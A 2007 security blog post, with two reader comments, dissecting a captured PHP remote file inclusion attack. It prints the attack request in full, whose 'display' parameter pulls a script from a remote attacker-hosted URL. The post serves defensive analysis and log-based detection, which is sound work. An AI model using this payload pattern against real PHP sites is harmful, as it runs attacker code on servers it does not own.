Login Form






Lost Password?
No account yet? Register

Donate to A.R.T.

Polls

What OS are you using?
 

Advertisement

Syndicate

powered_by.png, 1 kB

Home
Disection of a Web attack, Part 1 Print E-mail
Written by scott   
Monday, 15 October 2007
Every day I go through the alert data collected in the ASL gui to look for new patterns of abuse, ways to improve the engine, or other assorted tinkering-like activities. A lot of my day is spent like that, just collecting all sorts of random data that sometimes adds up to something useful. Most of the time it ends up with a lot of useless oneliners from TV or movies. Anyway... back to my point. What does a web attack look like? The following is a real attack captured from one of our servers:

GET /index.php?display=http://amyru.h18.ru/images/cs.txt? HTTP/1.1
Host: www.domain.com
User-Agent: Wget/1.1 (compatible; i486; Linux; RedHat7.3)

This is what we call a "Remote Include" attack against a PHP application. The first line is the request sent to the web server as a GET
GET /index.php?display=http://amyru.h18.ru/images/cs.txt? HTTP/1.1

The attack works by tricking the PHP application into including a file, in this case from a URL (http://amyru.h18.ru/images/cs.txt), into the PHP script. This assumes that the script will parse the variable "display". Off the top of my head, I think that was from gallery. In this case, the target website isn't running gallery, so that would never work even if we were not running ASL. For those of you that are saavy PHP programmers (or not so saavy), this demonstrates the power and the weakness of PHP. A lot of times I'll see an attacker attempt to brute force the variables on an application. So just because you are running a custom application with custom variable names is no excuse to not do proper input validation.

Back to what interests me though.. for me its the 3rd line:
User-Agent: Wget/1.1 (compatible; i486; Linux; RedHat7.3)

The User-agent field is passed to the web server from the client. Its a semi-unique token we can use to glue attack patterns together when we do analysis. In this case it purports to be coming from a RedHat 7.3 system on a i486 processor, running wget 1.1. Doubly interesting is I see a few hundred of these a day, all with that token from *different IPs*. This particular badguy is coming through open proxy servers, the TOR network, or otherwise zombied hosts. Cool stuff there, what that means is that they can bypass IP based filtering. They just shift to other IP's to get around the blocks.

So what conclusions can we draw from this? I suppose the first is that I find this just fascinating... I could mine data on this kind of thing all day. The second might be, IP based filtering doesn't work. It's not that bad... with enough people sharing data through things like RBL's, ASL, Dshield, Denyhosts, you can build up shared defense systems that are fairly effective. Mass attacks work against themselves when you have aggregation. Third is that attack detection/prevention cannot be purely IP based. This is exactly like fighting spam, you build your defenses in depth.

Comments
Written by faris on 2007-10-18 16:33:18
I'm actually seeing entries in my logs with the same User-agent. Surely is it unlikely to be the same guy (though occam's razor may apply). Couldn't it be the signature of a script kiddie tool? At any rate, it sounds to me like a user-agent to add to the mod_security rules!

Written by scott on 2007-10-20 13:59:34
or a worm of some kind. I'm thinking of adding in a "submit for analysis" button into the gui so we can start to share this kind of data across the ASL community. Its definitely a suspicious user agent, and well worth a sig on its own. Thanks for the idea!

Only registered users can write comments.
Please login or register.

Powered by AkoComment 2.0.3!

 
Next >
© 2008 atomicrocketturtle.com :: digital turtlist
Joomla! is Free Software released under the GNU/GPL License.
sheta@atomicrocketturtle.com
Fight Spam! Click Here!